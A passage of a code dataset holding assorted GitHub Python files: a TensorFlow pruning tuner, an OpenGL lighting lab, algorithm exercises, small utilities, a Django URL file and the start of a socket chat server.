Optimizer(\n model_path,\n optimization_param=self.optimization_param,\n batch_size=self.batch_size,\n dataset_manager=self.dataset_manager,\n early_breakup_accuracy=targetAccuracy,\n logger=logging,\n )\n logging.info(f\"Optimizing with PR of {pruningRatio}\")\n tflite_model = optimizer.optimize()\n\n if tflite_model is None:\n logging.info(\"Early stopped\")\n else: # Accuracy is ok in pruning or/and clustering\n model_result = await self.test_model(tflite_model)\n reachedAccuracy = model_result.accuracy\n logging.info(f\"Measured accuracy {reachedAccuracy}\")\n\n if counter_back_direction > self.configuation.getConfig(\n \"CLUSTERING\", \"number_of_backstep_to_exit\"\n ):\n # Accuracy is too high, clusterization disabled\n logging.info(\"Accuracy is too high, clusterization disabled\")\n self.max_cluster_fails = self.optimization_param.get_number_of_cluster()\n self.optimization_param.toggle_clustering(False)\n return await self.getOptimizedModel(\n model_path, targetAccuracy, percentagePrecision\n )\n iterations += 1\n logging.info(\n f\"Found model with acc:{reachedAccuracy} in {iterations} iterations\"\n )\n if self.optimization_param.isClusteringEnabled():\n # If accuracy is ok, add pr in the list\n self.applied_prs.append(pruningRatio)\n else:\n self.no_cluster_prs.append(pruningRatio)\n return tflite_model, model_result\n\n async def tune(self) -> None:\n await self.bm.set_dataset(self.dataset_manager)\n\n # Get parameters from config\n right = self.configuation.getConfig(\"CLUSTERING\", \"max_clusters_number\")\n left = self.configuation.getConfig(\"CLUSTERING\", \"min_clusters_numbers\")\n delta_precision = self.configuation.getConfig(\"TUNER\", \"DELTA_PERCENTAGE\")\n isTimePrioritized = (\n self.configuation.getConfig(\"TUNER\", \"second_priority\") == \"SPEED\"\n )\n\n # Step 0, save original model\n original_model_path = tempfile.mkdtemp()\n self.original_model.save(original_model_path)\n original_model = tf.keras.models.load_model(original_model_path)\n self.bm.add_model(original_model, \"original\", is_reference=True)\n\n model_performance = await self.test_model(original_model_path)\n reachedAccuracy = model_performance.accuracy\n percentage_reached_accuracy = int(reachedAccuracy * 100)\n logging.info(f\"Current accuracy is {percentage_reached_accuracy}%\")\n targetAccuracy = -1\n while targetAccuracy < 0 or targetAccuracy > percentage_reached_accuracy:\n print(\n f\"Please, enter your target accuracy [value between 0 and {percentage_reached_accuracy} included]?\"\n )\n targetAccuracy = int(input())\n targetAccuracy /= 100\n\n self.optimization_param.toggle_clustering(True)\n cached_result = {}\n\n while abs(left - right) > 2:\n left_third = int(left + (right - left) / 3)\n right_third = int(right - (right - left) / 3)\n tf.keras.backend.clear_session()\n logging.info(f\"Optimizing with {left_third} clusters\")\n\n if left_third in cached_result.keys():\n result_left = cached_result[left_third]\n else:\n self.optimization_param.set_number_of_cluster(left_third)\n self.optimization_param.toggle_clustering(True)\n _, result = await self.getOptimizedModel(\n original_model_path,\n targetAccuracy,\n percentagePrecision=delta_precision,\n )\n result_left = result.time if isTimePrioritized else result.size\n cached_result[left_third] = result_left\n\n tf.keras.backend.clear_session()\n logging.info(f\"Optimizing with {right_third} clusters\")\n\n if right_third in cached_result.keys():\n result_right = cached_result[right_third]\n else:\n self.optimization_param.set_number_of_cluster(right_third)\n self.optimization_param.toggle_clustering(True)\n _, result = await self.getOptimizedModel(\n original_model_path,\n targetAccuracy,\n percentagePrecision=delta_precision,\n )\n result_right = result.time if isTimePrioritized else result.size\n cached_result[right_third] = result_right\n\n logging.info(\n f\"RESULT C:{result_left}|{left_third} - RESULT D:{result_right}|{right_third}\"\n )\n if result_left > result_right:\n left = left_third\n else:\n right = right_third\n\n logging.info(f\"NEXT EVALUATED LEFT:{left} - RIGHT:{right}\")\n\n choosen_clusters = (right + left) / 2 # Should be the minimum\n\n self.optimization_param.set_number_of_cluster(int(choosen_clusters))\n self.optimization_param.toggle_clustering(True)\n result, _ = await self.getOptimizedModel(\n original_model_path, targetAccuracy, percentagePrecision=delta_precision\n )\n self.bm.add_tf_lite_model(result, \"optimized\")\n await self.bm.benchmark()\n self.bm.summary()\n\n def __get_selected_index__(self, results) -> int:\n selected_model = None\n while selected_model is None:\n print(\"Enter the id of the prefered model\")\n idToExport = input()\n for result in results:\n if result.id == int(idToExport):\n return result.id\n print(\"Id not valid! Try again\")\n return -1\n","repo_name":"kernel-machine/tf_optimizer","sub_path":"tf_optimizer/optimizer/tuner.py","file_name":"tuner.py","file_ext":"py","file_size_in_byte":14679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26374175289","text":"#!/usr/bin/env python3\nimport sys\nimport math\nimport numpy as np\n\nfrom glfw.GLFW import *\n\nfrom os import system\n\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\n\nviewer = [0.0, 0.0, 15.0]\n\ntheta = 0.0\nphi = 0.0\npix2angle = 1.0\n\nx_s = 0.0\ny_s = 0.0\nz_s = 0.0\nR = 10.0\n\nleft_mouse_button_pressed = 0\nright_mouse_button_pressed = 0\nmouse_x_pos_old = 0\ndelta_x = 0\nmouse_y_pos_old = 0\ndelta_y = 0\nnormal = 1\n\nmat_ambient = [1.0, 1.0, 1.0, 1.0]\nmat_diffuse = [1.0, 1.0, 1.0, 1.0]\nmat_specular = [1.0, 1.0, 1.0, 1.0]\nmat_shininess = 20.0\n\nlight_ambient = [0.1, 0.1, 0.0, 1.0]\nlight_diffuse = [0.8, 0.8, 0.0, 1.0]\nlight_specular = [1.0, 1.0, 1.0, 1.0]\nlight_position = [0.0, 0.0, 10.0, 1.0]\n\nlight_ambient1 = [0.0, 0.0, 0.0, 1.0]\nlight_diffuse1 = [0.0, 0.0, 1.0, 1.0]\nlight_specular1 = [0.0, 0.0, 0.0, 1.0]\nlight_position1 = [0.0, 0.0, 10.0, 1.0]\n\natt_constant = 1.0\natt_linear = 0.05\natt_quadratic = 0.001\n\nmode = 0\nchoose = 0\n\n\ndef startup():\n update_viewport(None, 400, 400)\n glClearColor(0.0, 0.0, 0.0, 1.0)\n glEnable(GL_DEPTH_TEST)\n\n glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient)\n glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse)\n glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular)\n glMaterialf(GL_FRONT, GL_SHININESS, mat_shininess)\n\n glLightfv(GL_LIGHT0, GL_AMBIENT, light_ambient)\n glLightfv(GL_LIGHT0, GL_DIFFUSE, light_diffuse)\n glLightfv(GL_LIGHT0, GL_SPECULAR, light_specular)\n glLightfv(GL_LIGHT0, GL_POSITION, light_position)\n\n glLightf(GL_LIGHT0, GL_CONSTANT_ATTENUATION, att_constant)\n glLightf(GL_LIGHT0, GL_LINEAR_ATTENUATION, att_linear)\n glLightf(GL_LIGHT0, GL_QUADRATIC_ATTENUATION, att_quadratic)\n\n glShadeModel(GL_SMOOTH)\n glEnable(GL_LIGHTING)\n # glEnable(GL_LIGHT0)\n glEnable(GL_LIGHT1)\n\n info()\n\n\ndef shutdown():\n pass\n\n\ndef render(time, n, array, normalVector):\n global theta\n global phi\n global x_s\n global y_s\n global z_s\n global R\n global light_position1\n\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n glLoadIdentity()\n\n gluLookAt(viewer[0], viewer[1], viewer[2],\n 0.0, 0.0, 0.0, 0.0, 1.0, 0.0)\n if right_mouse_button_pressed == 1:\n theta += delta_x * pix2angle\n glRotate(theta, 0.0, 1.0, 0.0)\n\n if left_mouse_button_pressed == 1:\n theta += delta_x * pix2angle\n phi += delta_y * pix2angle\n x_s = R * math.cos(theta * (math.pi / 180)) * math.cos(phi * (math.pi / 180))\n y_s = R * math.sin(phi * (math.pi / 180))\n z_s = R * math.sin(theta * (math.pi / 180)) * math.cos(phi * (math.pi / 180))\n\n light_position1 = [-x_s, -y_s, z_s, 1.0]\n\n glLightfv(GL_LIGHT1, GL_AMBIENT, light_ambient1)\n glLightfv(GL_LIGHT1, GL_DIFFUSE, light_diffuse1)\n glLightfv(GL_LIGHT1, GL_SPECULAR, light_specular1)\n glLightfv(GL_LIGHT1, GL_POSITION, light_position1)\n\n # quadric = gluNewQuadric()\n # gluQuadricDrawStyle(quadric, GLU_FILL)\n # gluSphere(quadric, 3.0, 10, 10)\n # gluDeleteQuadric(quadric)\n\n glTranslatef(0.0, -5.0, 0.0)\n strip_egg(array, n, normalVector)\n if normal == 1:\n vectors(array, n, normalVector)\n\n glTranslatef(-x_s, -y_s, z_s)\n quadric = gluNewQuadric()\n gluQuadricDrawStyle(quadric, GLU_LINE)\n gluSphere(quadric, 0.5, 6, 5)\n gluDeleteQuadric(quadric)\n\n glFlush()\n\n\ndef update_viewport(window, width, height):\n global pix2angle\n pix2angle = 360.0 / width\n\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n\n gluPerspective(70, 1.0, 0.1, 300.0)\n\n if width <= height:\n glViewport(0, int((height - width) / 2), width, width)\n else:\n glViewport(int((width - height) / 2), 0, height, height)\n\n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity()\n\n\ndef vectors(array, n, normalVector):\n for i in range(n):\n glBegin(GL_LINES)\n if i < (n - 1):\n for j in range(n):\n if j < (n - 1):\n glVertex3f(array[i][j][0], array[i][j][1], array[i][j][2])\n glVertex3f(array[i][j][0] + normalVector[i][j][0], array[i][j][1] + normalVector[i][j][1],\n array[i][j][2] + normalVector[i][j][2])\n\n glVertex3f(array[i + 1][j][0], array[i + 1][j][1], array[i + 1][j][2])\n glVertex3f(array[i + 1][j][0] + normalVector[i + 1][j][0],\n array[i + 1][j][1] + normalVector[i + 1][j][1],\n array[i + 1][j][2] + normalVector[i + 1][j][2])\n\n glVertex3f(array[i][j + 1][0], array[i][j + 1][1], array[i][j + 1][2])\n glVertex3f(array[i][j + 1][0] + normalVector[i][j + 1][0],\n array[i][j + 1][1] + normalVector[i][j + 1][1],\n array[i][j + 1][2] + normalVector[i][j + 1][2])\n\n glVertex3f(array[i + 1][j + 1][0], array[i + 1][j + 1][1], array[i + 1][j + 1][2])\n glVertex3f(array[i + 1][j + 1][0] + normalVector[i + 1][j + 1][0],\n array[i + 1][j + 1][1] + normalVector[i + 1][j + 1][1],\n array[i + 1][j + 1][2] + normalVector[i + 1][j + 1][2])\n glEnd()\n\n\ndef strip_egg(array, n, normalVector):\n for i in range(n):\n glBegin(GL_TRIANGLE_STRIP)\n if i < (n - 1):\n for j in range(n):\n if j < (n - 1):\n glNormal3f(normalVector[i][j][0], normalVector[i][j][1], normalVector[i][j][2])\n glVertex3f(array[i][j][0], array[i][j][1], array[i][j][2])\n\n glNormal3f(normalVector[i + 1][j][0], normalVector[i + 1][j][1], normalVector[i + 1][j][2])\n glVertex3f(array[i + 1][j][0], array[i + 1][j][1], array[i + 1][j][2])\n\n glNormal3f(normalVector[i][j + 1][0], normalVector[i][j + 1][1], normalVector[i][j + 1][2])\n glVertex3f(array[i][j + 1][0], array[i][j + 1][1], array[i][j + 1][2])\n\n glNormal3f(normalVector[i + 1][j + 1][0], normalVector[i + 1][j + 1][1],\n normalVector[i + 1][j + 1][2])\n glVertex3f(array[i + 1][j + 1][0], array[i + 1][j + 1][1], array[i + 1][j + 1][2])\n glEnd()\n\n\ndef arrays(n, array, normalVector):\n u = np.linspace(0.0, 1.0, n)\n v = np.linspace(0.0, 1.0, n)\n\n for i in range(n):\n for j in range(n):\n array[i][j][0] = (-90 * pow(u[i], 5) + 225 * pow(u[i], 4) - 270 * pow(u[i], 3) + 180 * pow(u[i], 2) - 45 *\n u[i]) * math.cos(math.pi * v[j])\n array[i][j][1] = 160 * pow(u[i], 4) - 320 * pow(u[i], 3) + 160 * pow(u[i], 2)\n array[i][j][2] = (-90 * pow(u[i], 5) + 225 * pow(u[i], 4) - 270 * pow(u[i], 3) + 180 * pow(u[i], 2) - 45 *\n u[i]) * math.sin(math.pi * v[j])\n\n Xu = (-450 * pow(u[i], 4) + 900 * pow(u[i], 3) - 810 * pow(u[i], 2) + 360 * u[i] - 45) * math.cos(\n math.pi * v[j])\n Xv = math.pi * (90 * pow(u[i], 5) - 225 * pow(u[i], 4) + 270 * pow(u[i], 3) - 180 * pow(u[i], 2) + 45 * u[\n i]) * math.sin(math.pi * v[j])\n Yu = 640 * pow(u[i], 3) - 960 * pow(u[i], 2) + 320 * u[i]\n Yv = 0\n Zu = (-450 * pow(u[i], 4) + 900 * pow(u[i], 3) - 810 * pow(u[i], 2) + 360 * u[i] - 45) * math.sin(\n math.pi * v[j])\n Zv = -math.pi * (90 * pow(u[i], 5) - 225 * pow(u[i], 4) + 270 * pow(u[i], 3) - 180 * pow(u[i], 2) + 45 * u[\n i]) * math.cos(math.pi * v[j])\n\n vectorX = Yu * Zv - Zu * Yv\n vectorY = Zu * Xv - Xu * Zv\n vectorZ = Xu * Yv - Yu * Xv\n\n length = math.sqrt(pow(vectorX, 2) + pow(vectorY, 2) + pow(vectorZ, 2))\n\n if i < n/2:\n normalVector[i][j][0] = vectorX / length\n normalVector[i][j][1] = vectorY / length\n normalVector[i][j][2] = vectorZ / length\n else:\n normalVector[i][j][0] = -vectorX / length\n normalVector[i][j][1] = -vectorY / length\n normalVector[i][j][2] = -vectorZ / length\n\n\ndef info():\n system('cls')\n print(\"Light ambient: \")\n print(light_ambient1)\n print(\"Light diffuse: \")\n print(light_diffuse1)\n print(\"Light specular: \")\n print(light_specular1)\n print(\"Mode: \")\n print(mode)\n print(\"i: \")\n print(choose)\n\n\ndef keyboard_key_callback(window, key, scancode, action, mods):\n global mode\n global choose\n global normal\n global light_ambient1\n global light_specular1\n global light_diffuse1\n\n if key == GLFW_KEY_N and action == GLFW_PRESS:\n if normal == 0:\n normal = 1\n else:\n normal = 0\n\n if key == GLFW_KEY_ESCAPE and action == GLFW_PRESS:\n glfwSetWindowShouldClose(window, GLFW_TRUE)\n\n if key == GLFW_KEY_A and action == GLFW_PRESS:\n mode = 0\n\n if key == GLFW_KEY_D and action == GLFW_PRESS:\n mode = 2\n\n if key == GLFW_KEY_S and action == GLFW_PRESS:\n mode = 1\n\n if key == GLFW_KEY_LEFT and action == GLFW_PRESS:\n if choose > 0:\n choose -= 1\n\n if key == GLFW_KEY_RIGHT and action == GLFW_PRESS:\n if choose < 3:\n choose += 1\n\n if key == GLFW_KEY_UP and action == GLFW_PRESS:\n if mode == 0:\n if light_ambient1[choose] < 1.0:\n light_ambient1[choose] += 0.1\n\n if mode == 1:\n if light_specular1[choose] < 1.0:\n light_specular1[choose] += 0.1\n\n if mode == 2:\n if light_diffuse1[choose] < 1.0:\n light_diffuse1[choose] += 0.1\n\n if key == GLFW_KEY_DOWN and action == GLFW_PRESS:\n if mode == 0:\n if light_ambient1[choose] > 0.0:\n light_ambient1[choose] -= 0.1\n\n if mode == 1:\n if light_specular1[choose] > 0.0:\n light_specular1[choose] -= 0.1\n\n if mode == 2:\n if light_diffuse1[choose] > 0.0:\n light_diffuse1[choose] -= 0.1\n\n info()\n\n\ndef mouse_motion_callback(window, x_pos, y_pos):\n global delta_x\n global mouse_x_pos_old\n global delta_y\n global mouse_y_pos_old\n\n delta_x = x_pos - mouse_x_pos_old\n mouse_x_pos_old = x_pos\n\n delta_y = y_pos - mouse_y_pos_old\n mouse_y_pos_old = y_pos\n\n\ndef mouse_button_callback(window, button, action, mods):\n global left_mouse_button_pressed\n global right_mouse_button_pressed\n\n if button == GLFW_MOUSE_BUTTON_LEFT and action == GLFW_PRESS:\n left_mouse_button_pressed = 1\n else:\n left_mouse_button_pressed = 0\n\n if button == GLFW_MOUSE_BUTTON_RIGHT and action == GLFW_PRESS:\n right_mouse_button_pressed = 1\n else:\n right_mouse_button_pressed = 0\n\n\ndef main():\n if not glfwInit():\n sys.exit(-1)\n\n window = glfwCreateWindow(400, 400, __file__, None, None)\n if not window:\n glfwTerminate()\n sys.exit(-1)\n\n glfwMakeContextCurrent(window)\n glfwSetFramebufferSizeCallback(window, update_viewport)\n glfwSetKeyCallback(window, keyboard_key_callback)\n glfwSetCursorPosCallback(window, mouse_motion_callback)\n glfwSetMouseButtonCallback(window, mouse_button_callback)\n glfwSwapInterval(1)\n\n n = 20\n array = np.zeros([n, n, 3])\n normalVector = np.zeros([n, n, 3])\n arrays(n, array, normalVector)\n\n startup()\n while not glfwWindowShouldClose(window):\n render(glfwGetTime(), n, array, normalVector)\n glfwSwapBuffers(window)\n glfwPollEvents()\n shutdown()\n\n glfwTerminate()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"droidek123/computer-graphics","sub_path":"src/Lab5.py","file_name":"Lab5.py","file_ext":"py","file_size_in_byte":11653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70109985321","text":"import sys\r\ninput = sys.stdin.readline\r\nsys.setrecursionlimit(10**9)\r\n\r\nN = int(input())\r\ntree = [[] for _ in range(N+1)]\r\nvisited = [0] * (N+1)\r\ndp = [[0, 1] for _ in range(N+1)]\r\n# 각 노드에 대해 [얼리어답터가 아닐 때, 맞을 때]\r\n\r\nfor n in range(N-1):\r\n u, v = map(int, input().split())\r\n tree[u].append(v)\r\n tree[v].append(u)\r\n\r\ndef dfs(now):\r\n visited[now] = 1\r\n if len(tree[now]) == 1: # 리프노드인 경우 dp를 [0, 1]로\r\n dp[now] = [0, 1]\r\n\r\n for next in tree[now]:\r\n if not visited[next]:\r\n visited[next] = 1\r\n dfs(next)\r\n dp[now][0] += dp[next][1]\r\n dp[now][1] += min(dp[next])\r\n # now가 얼리어답터 아니면 next는 얼리어답터여야 함 \r\n # now가 얼리어답터라면 next는 상관 없으므로 next의 dp에 저장된 값 중 최소값 더해주기 \r\n\r\ndfs(1)\r\n# print(dp)\r\nprint(min(dp[1]))","repo_name":"eunjng5474/Algorithm","sub_path":"백준/Gold/2533. 사회망 서비스(SNS)/사회망 서비스(SNS).py","file_name":"사회망 서비스(SNS).py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"12245533943","text":"import sys\n\ninput = sys.stdin.readline\n\ns = input().rstrip()\nbomb = input().rstrip()\n\nstack = []\nbl = len(bomb)\n\nfor i in range(len(s)):\n stack.append(s[i])\n if ''.join(stack[-bl:]) == bomb:\n for _ in range(bl):\n stack.pop()\n\nif stack:\n print(''.join(stack))\nelse:\n print(\"FRULA\")\n","repo_name":"Ma-due/PS-study","sub_path":"4weeks/문자열 폭발.py","file_name":"문자열 폭발.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"31032908375","text":"\"\"\"\nutils.py - miscellaneous functions.\n\"\"\"\n\ndef file_size_to_str(size: float) -> str:\n \"\"\"\n Given a file size, return a human-friendly string representation.\n\n Args:\n size (float): Size of the file in bytes.\n\n Returns:\n str: Human-friendly string representation of the file size.\n \"\"\"\n \"\"\"Given a file size, return a human-friendly string.\"\"\"\n for x in ['bytes', 'KB', 'MB', 'GB', 'TB']:\n if size < 1024.0:\n return \"%3.1f %s\" % (size, x)\n size /= 1024.0\n # If size exceeds 1024 TB, return in terms of TB.\n return \"%3.1f %s\" % (size, \"TB\")","repo_name":"LibbyLi667/mytardis_ime","sub_path":"ime/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38517284608","text":"import random\nlowers = 'abcdefghijklmnopqrstuvwxyz'\nuppers = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\nnumbers = '0123456789'\n\n\ndef randstr(n=8,choices=lowers+numbers):\n return ''.join([random.choice(choices) for _ in range(n)])\n \ndef uniquify(s, strings):\n \"\"\"\n Produce a version of s that's not in strings\n >>> uniquify('cat',['dog','lizard','cat'])\n 'cat 1'\n >>> uniquify('cat',['dog','lizard','cat', 'cat 1'])\n 'cat 2'\n >>> uniquify('cat',['dog','lizard'])\n 'cat'\n >>> uniquify('cat',[])\n 'cat'\n \"\"\"\n while s in strings:\n a = s.split(' ')\n if a[-1].isdigit():\n a[-1] = str(int(a[-1]) + 1)\n s = ' '.join(a)\n else:\n s = s + ' 1'\n return s\n\nif __name__ == \"__main__\": \n import doctest\n doctest.testmod()\n","repo_name":"armobob74/trivia","sub_path":"website/string_utils.py","file_name":"string_utils.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10838978747","text":"import sys\nimport imp\nimport ctypes\nimport _ctypes\nimport os\n\ndef find_path():\n if sys.platform == \"linux2\" or sys.platform == \"linux\":\n extension = \".so\"\n elif sys.platform == \"darwin\":\n extension = \".dylib\"\n elif sys.platform == \"win32\":\n extension = \".dll\"\n else:\n print(\"Unknown system type!\")\n return (True,0,0)\n \n path_lgc = imp.find_module('localgraphclustering')[1]\n return path_lgc+\"/src/lib/graph_lib_test/libgraph\"+extension\n\ndef load_library():\n #load library\n lib=ctypes.cdll.LoadLibrary(find_path())\n return lib\n\ndef reload_library(lib):\n handle = lib._handle\n name = lib._name\n del lib\n while is_loaded(name):\n _ctypes.dlclose(handle)\n return ctypes.cdll.LoadLibrary(name)\n\ndef is_loaded(lib):\n libp = os.path.abspath(lib)\n ret = os.system(\"lsof -p %d | grep %s > /dev/null\" % (os.getpid(), libp))\n return (ret == 0)\n","repo_name":"RevoData/LocalGraphClustering","sub_path":"localgraphclustering/find_library.py","file_name":"find_library.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"44151780034","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jun 19 12:21:15 2021\r\n\r\n@author: Cleme\r\n\"\"\"\r\n#! python3\r\n# collatz.py - Number is evaluated as odd or even and is then evaluated \r\n# down to one\r\n\r\nimport sys\r\n\r\n# Define the collatz sequence\r\ndef collatz(number): \r\n\r\n if number % 2 == 0: \r\n print(number // 2)\r\n return number // 2\r\n elif number % 1 == 0: \r\n result = 3 * number + 1\r\n print(result)\r\n return result\r\n else: \r\n print('Something went wrong, please type in a different number.')\r\n\r\n\r\nn = int(input('Please type in a number:\\n'))\r\n\r\n\r\ntry: \r\n while n != 1:\r\n n = collatz(n)\r\n \r\nexcept KeyboardInterrupt: \r\n print('Something went wrong. Please try again.')\r\n sys.exit()\r\n\r\n \r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\n \r\n\r\n","repo_name":"GingerLee11/ATBS_ed2_projects","sub_path":"collatz_sequence.py","file_name":"collatz_sequence.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9286840769","text":"#!/usr/bin/python3\n\nimport os\nfrom PIL import Image\n\nos.chdir('shards')\nwidth = range(40)\nheight = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N']\n\n\nresult = Image.new(\"RGB\", (480, 480), \"white\")\n\nfor x in width:\n\tyi = 0\n\tfor y in height:\n\t\tim = Image.open(y + '_' + str(x) + '.png')\n\t\tresult.paste(im, (x*12, yi*12))\n\t\tyi += 1\n\nresult.save('../egg14.png')\n","repo_name":"nheiniger/security-write-ups","sub_path":"hacky-easter2017/14/constructEgg.py","file_name":"constructEgg.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"41839638886","text":"# coding=utf-8\n# 代码文件:chapter15/ch15.1.4.py\n\nf_name = 'coco2dxcplus.jpg'\n\nwith open(f_name, 'rb') as f:\n b = f.read()\n print(type(b))\n copy_f_name = 'copy.jpg'\n with open(copy_f_name, 'wb') as copy_f:\n copy_f.write(b)\n print('文件复制成功')\n","repo_name":"tonyguan/python1","sub_path":"code/chapter15/ch15.1.4.py","file_name":"ch15.1.4.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"18"} +{"seq_id":"30236493525","text":"from django.urls import path\n\nfrom . import views\n\napp_name = 'staff'\nurlpatterns = [\n path('', views.index, name='index'),\n path('stock_requests_made/', views.stock_requests_made, name='stock_requests_made'),\n path('new_stock_request/', views.new_stock_request, name='new_stock_request'),\n path('accept_order/', views.accept_order, name='accept_order'),\n path('order_details/', views.order_details, name='order_details'),\n path('arrived_stock/', views.arrived_stock, name='arrived_stock'),\n path('arrived_stock_details/', views.arrived_stock_details, name='arrived_stock_details'),\n path('expired_item_details/', views.expired_item_details, name='expired_item_details'),\n]\n","repo_name":"Hritaban02/Pharmacy-Management-System-and-Portal","sub_path":"source/pmsp/staff/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"29872679092","text":"# N 개의 숫자로 구성된 숫자열 Ai (i=1~N) 와 M 개의 숫자로 구성된 숫자열 Bj (j=1~M) 가 있다.\n# Ai 나 Bj 를 자유롭게 움직여서 숫자들이 서로 마주보는 위치를 변경할 수 있다.\n# 단, 더 긴 쪽의 양끝을 벗어나서는 안 된다.\n# 서로 마주보는 숫자들을 곱한 뒤 모두 더할 때 최댓값을 구하라.\n\n# [제약 사항]\n# N 과 M은 3 이상 20 이하이다.\n\n# [입력]\n# 가장 첫 줄에는 테스트 케이스의 개수 T가 주어지고, 그 아래로 각 테스트 케이스가 주어진다.\n# 각 테스트 케이스의 첫 번째 줄에 N 과 M 이 주어지고,\n# 두 번째 줄에는 Ai,\n# 세 번째 줄에는 Bj 가 주어진다.\n\n# [출력]\n# 출력의 각 줄은 '#t'로 시작하고, 공백을 한 칸 둔 다음 정답을 출력한다.\n# (t는 테스트 케이스의 번호를 의미하며 1부터 시작한다.)\n\n# 제공된 N, M개의 숫자를 이용하여 Ai, Bj를 생성하는 함수 제작\n# 짧은 숫자열의 빈 자리는 'none' 추가\ndef row():\n row_size = list(map(int, input().split()))\n number_i = list(map(int, input().split()))\n number_j = list(map(int, input().split()))\n Ai = []\n Bj = []\n if row_size[0] > row_size[1]:\n for x in range(row_size[0]):\n Ai.append('none')\n Bj.append('none')\n else:\n for y in range(row_size[1]):\n Ai.append('none')\n Bj.append('none')\n\n for i in range(row_size[0]):\n Ai[i] = number_i[i]\n for j in range(row_size[1]):\n Bj[j] = number_j[j]\n \n return Ai, Bj\n# 두 숫자열 중 짧은 숫자열을 이동시키며 각 자릿수의 곱의 합이 가장 큰 값을 추출하는 함수 제작\ndef max_multiply(rows):\n Ai = rows[0]\n Bj = rows[1]\n\n max_sum = 0\n sum_multiply = 0\n Ai_2 = ['none']\n Bj_2 = ['none']\n for num in range(len(Ai)):\n for n in range(len(Ai)):\n # 짧은 숫자열의 값이 'none'인 경우는 계산 미실시\n if type(Ai[n]) == str or type(Bj[n]) == str:\n pass\n else:\n sum_multiply += (Ai[n] * Bj[n])\n if sum_multiply > max_sum:\n max_sum = sum_multiply\n\n Ai_2 = ['none']\n Bj_2 = ['none']\n # 짧은 숫자열의 숫자값 위치 한칸 이동\n sum_multiply = 0\n if Ai[-1] == 'none':\n Ai.pop(-1)\n for i in Ai:\n Ai_2.append(i)\n Ai = Ai_2\n elif Bj[-1] == 'none':\n Bj.pop(-1)\n for j in Bj:\n Bj_2.append(j)\n Bj = Bj_2\n else:\n break\n\n return max_sum\n# 곱의 합 최대값을 전달하는 함수 제작\ndef print_maxmultiply():\n rows = row()\n ret_max = max_multiply(rows)\n return ret_max\n\ncase_num = int(input())\n\nfor case in range(case_num):\n print(f'#{case+1} {print_maxmultiply()}')","repo_name":"essk13/Algorithm","sub_path":"01_problem/python/2021/07/0724/1959_SW_D2.py","file_name":"1959_SW_D2.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73253521000","text":"class Solution:\n # Cheating Solution\n # def isPalindrome (self, s: str) -> bool:\n # newStr = \"\"\n\n # for c in s:\n # if c.isalnum():\n # newStr += c.lower()\n \n # return newStr == newStr[::-1]\n \n # Memory Efficient Solution\n def isPalindrome (self, s: str) -> bool:\n l, r = 0, len(s) - 1\n\n # case when there's a non-alphaneumeric\n while l < r and not self.alphaNum(s[l]):\n l += 1\n\n # case when there's a non-alphaneumeric\n while r > 1 and not self.alphaNum(s[r]):\n r -= 1\n\n while l < r:\n if s[l].lower() != s[r].lower():\n return False\n \n l, r = l + 1, r - 1\n\n return True\n\n def alphaNum(self, c):\n return ((ord('A') <= ord(c) <= ord('Z')) or (ord('a') <= ord(c) <= ord('z')) or (ord(0) <= ord(c) <= ord(9)))","repo_name":"arfazhxss/LeetCode","sub_path":"0 BLIND/1 Two Pointers/1 0125 Valid Palindrome/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42343952083","text":"import select\nimport socket\n\n\nclass Server:\n\n def __init__(self, ip='127.0.0.1', port=1234, n=5):\n self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.bindSocket(ip, port)\n self.listenSocket(n)\n print('-------- Servidor activo --------')\n self.clients = {}\n self.sockets = [self.s]\n self.manageClients()\n\n def getSocket(self):\n return self.s\n\n def bindSocket(self, ip, port):\n self.s.bind((ip, port))\n\n def listenSocket(self, n):\n self.s.listen(n)\n\n def receive_msg(self, sck):\n encabezado = sck.recv(10)\n if not len(encabezado):\n return False\n leng = 